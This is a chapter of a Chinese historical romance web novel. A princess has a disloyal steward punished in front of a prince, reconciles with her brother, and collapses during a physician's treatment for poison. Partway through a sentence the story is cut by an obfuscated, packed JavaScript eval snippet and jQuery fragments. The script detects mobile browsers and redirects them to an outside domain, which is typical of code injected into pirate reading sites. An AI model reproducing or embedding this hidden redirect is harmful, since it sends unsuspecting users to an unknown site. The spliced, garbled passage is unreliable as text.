若非现在是在将军府门口,只怕是谢倦容受到这般挑衅,要一手掐住钟离音的喉颈。
只见谢倦容才想上前几步,就被钟离音看穿了意图,钟离音连忙后退数步。
再等谢倦容反应过来时,府中管家见到钟离音的身影,露出欣喜之色。
他飞快跑到钟离音面前,皱着眉头说:“郡主!您可算回来了,弦公子出去找了您一圈没找到,可发了好大脾气,您快进去吧!”
钟离音深深看了管家一眼,此人在将军府中乃是墙头草两边倒。宋姨娘掌家时,他就是得力干将;钟离弦一回来,他便成了狗腿。
这种毒瘤,断断留不得。
钟离音眸光微动,忽然又退回谢倦容跟前,弱声朝管家道:“管家,见本郡主不行礼便罢了,此乃家事。见王爷为何不行礼?莫非是想让外人觉得我将军府没有规矩?落得个藐视皇权的罪名?”
那管家一听,脸色唰一下地白了,连忙跪到谢倦容身前,“小人叩见王爷。小人罪该万死,还请王爷宽恕小人失礼!”
谢倦容眸光微暗,瞟了身前少女一眼,借他之威打压下人,打的好算盘。
谢倦容本想着只此一次,帮她一把。
还没开口又被钟离音打断。
女子长得娇小,气势却大的很,她俯视管家,面上带笑,神态却是寒凉,她似是觉得火不够大故意添了一把柴,无辜声道:“宽恕?怎可轻易宽恕,传出去像什么话?国有国法,家有家规,管家以下犯上,目无尊卑,得杖一百才可宽恕。”
那管家瞬间急了,不是想着如何赔罪,而且猛地站起身,指着钟离音:“你敢?!”
钟离音知道此刻府中定然没人听她的话,毕竟她当久了这病猫,有人没习惯她当老虎,这是自然。
她就是要再逼这管家一把,所以见管家情急,她露出无辜委屈的神色,语气却比冷剑还要硬。
“我有何不敢?我乃当今陛下御封宁安郡主,乃将军府嫡女!我问你,我凭何不敢!?”
“来人!把他给我压下去重杖,是生是死听天由命!”钟离音神色一冷,依然是柔弱姿态,但气势上却多了几分跋扈。
门口侍卫也看出当下情况不对,摄政王就站在门口,钟离弦马上要到,此时更不敢得罪钟离音,于是连忙将管家压扣了下去。
谢倦容看着在他面前半掩的女子,有些难猜她的心思。
而这一幕,落在谢倦容眼中,简直是上演了一幅狗仗人势的戏。
钟离音回头时,恰逢看见了谢倦容的神情,一眼洞穿了他的想法,少女嗓音如温酒软腻,目光却有些轻讽,“王爷,莫要看花了眼,我便是人势。”
是的没错。
她想仗的从来都是自己的势,是宁安郡主的势,是将军府嫡女的势,而不是外人的势。
“钟离音,你真是给本王意外的惊喜啊。”谢倦容挑眉俯视她。
待钟离弦出来时,只听见府院内一阵哭嚎,但他暂时没闲心留意,见钟离音安然无恙回来,心落下的同时,一股火往脑门上蹿。
他先是朝谢倦容行过了一礼,“见过王爷。臣还有要事处理,招待不周还请见谅。”
说完,他也不管谢倦容答不答应,拉着钟离音的手往后院走,“胡闹!你知不知道你一个人出去多危险!你身上还有毒未解,若是出个意外,你让哥哥怎么办?还有,你怎么和他搅和到一起了?”
钟离音自知理亏,暗戳戳地拉一下他的衣袖,“哥哥,好了你别生气了,是小满的错。我都闷在屋子里要憋坏了,就想出去透透气。”
钟离弦看着少女清澈如水的目光,心里叹了叹气,他渐渐松开了钟离音的手,偏过头去低声道:“哥哥不是想怪你,是我不好,让你受了那么多委屈。”
钟离音摇了摇头,神色清冽。
她知道,兄妹二人的疏远不能怪钟离弦。
宋姨娘每日在原主面前吹风,说钟离弦嫌她是累赘,回家少的可怜一年都不看望她几次。年幼的钟离音只能心生怨怼,故而疏离兄长。
而朝堂之上,明争暗斗。二品御史,钟离弦看似权力滔天,实则是帝王为了制衡将军府的一把刀。他监察百官,自遭百官忌惮,官场无友、左右树敌,是言官、是孤臣,亦是让将军府陷入孤立无援之境。
他怕朝堂的尔虞我诈牵连妹妹,遭政敌报复。故他要真的冷漠无情、高高在上,不能有任何软肋。
原主不懂。
可她钟离音懂。
“哥哥,我已经长大了。好几年没跟你好好说话,你都不知道我现在能保护自己了。小妹也知道哥哥不易,从前是小妹任性了。在将军府,小妹只有哥哥一个亲人了。”
钟离音对他露出一抹笑,不怯不畏,连语气都不似从前,好似真如她所说,自己已经长大了。
看见钟离音变化如此大,钟离弦又是欣慰,又是心疼,他到底还是自责的,这么多年自己不敢真的亲近这个妹妹。
直到知道钟离音要出嫁,要被三皇子利用,他才觉得悔不当初。
大概是察觉到了钟离弦的难过和悲伤,钟离音道:“哥哥,我知道自己想要什么。但我希望哥哥也知道自己究竟想要什么。我不怕想要的得不到,也不怕艰难险阻,我只怕自己没有试过,就放弃了。”
“好,我知道了。”
或许,她真的长大了吧。他真的离钟离音的从前太远了。
远到,他甚至都不知道自己的妹妹喜欢什么,想要什么。
钟离弦很淡很淡地笑了一下。那是他为数不多的笑,笑起来有点苦涩,但落在青年冰封多年的面容上,熙和得像暖阳。
外院,陆景听外面有动静便知谢倦容回来了,等钟离弦带钟离音走后,他才走过去。看着谢倦容失神的模样,一巴掌拍在谢倦容肩头上。
“王爷,那小女子把你的魂魄勾走了?”
谢倦容蓦然回神,轻轻咳了一声,敛起思绪问道:“王府内的东西可搬过来了?”
“按照王爷的吩咐都搬过来了,不过搬进跨院还要费点时间。”陆景说完,不死心地又问:“王爷出去,是真去寻那小女子了?”
“是啊,寻了个惊喜。”谢倦容将他怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861503|212016||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中的折扇拿了过来,目光浅浅淡淡落去前方。
可不是吗,他一听陆景说钟离音偷溜出府,就也跟着出门了。
能让谢倦容觉得惊喜的人可少之又少,尤其是女娘。
很显然,陆景觉得谢倦容在那女娘手里吃瘪了,就打住没问了。
“她既然回来了,你去为她诊治吧。她那身板可真能抗,在外面走了那么久也不见她喊累。”谢倦容又重新勾起一丝笑往钟离音离开的方向走去,“对了,吩咐一下南辕,把本王带回来那匹马好生看着。”
“好。”陆景点头应声。
待陆景到西厢院子时,钟离音正和钟离弦在一棵偌大的桃树下坐着喝茶,树荫稀疏,粉花漫天。
钟离弦见到来人站起身来,“满夕,这位就是陆景陆神医。”
钟离弦已经将来龙去脉告诉了钟离音,即便没说,钟离音靠算猜心里也清楚整件事的经过。
钟离音朝他行过一礼,笑道:“小女见过陆神医,劳烦陆神医了。”
“无事,郡主坐便好。”陆景摸了摸下巴,第一眼倒是觉得这女娘乖巧懂事的很,不知让谢倦容如何吃瘪的。
“我手中有饮冬没的解药,只要服下,每隔七日清理体内余毒便可痊愈。不过今日要行针先打通关穴,郡主待会可要忍着些痛。”陆景边说,边从医箱内拿出许多瓶瓶罐罐,再拿出一卷银针摊开在桌上。
饶是钟离音不怕疼,看见那么长的针心也颤了颤,她强颜欢笑道:“敢问陆神医,要扎几针?”
“七窍七针。”陆景在她面前抽出长针。
钟离音只觉这副身体很是畏惧,微微发颤。心口一股血气夹杂着被她强行压下的毒猛地在体内蔓延,她苍白修长的手指死死抓住石桌的一角,手背青筋暴起,吐了一口血晕了过去!
“满夕!”钟离弦吓了一跳,连忙过去扶住了她。
陆景被那口血殃及,溅到了身上,也被突如其来的变故惊到。
他刚还想夸,郡主的身子强劲能抗,毒素侵扰,还能活蹦乱跳来着……
“快!扶她回房。”陆景微微蹙眉。
待钟离音再次醒来,外面的天昏黑一片。
房中的烛光惶惶跳动,白黄暖光映得薄纱帷幔的背影,在墙壁上轻飘飘晃动。月光白净从窗棂前透射过来,像是一幅晚夜画。
芙蓉一直守在床前,见钟离音睁开眼,惊喜喊了一声,随即眼泪都快激动得流下来,“郡主,你终于醒了!你都睡了两天了!”
两天?
钟离音恍然不觉。
“快告诉哥哥……我醒……”钟离音嗓音有些沙哑,她从床上缓缓起身,除了觉得四肢有些刺疼外,身上倒是比前几日舒畅很多,精神气也相当好。
芙蓉的声音极轻,但还是被门外一个耳朵比狗灵的王爷听见了。
西厢院内,皎洁的月光映在三个人身上,影子被拉得无限长。
似乎在有一搭没一搭地聊些什么,谢倦容第一个听见屋中动静,眸光微动,望了一眼西厢的房门,说道:“钟离大人,你妹妹好似醒了。”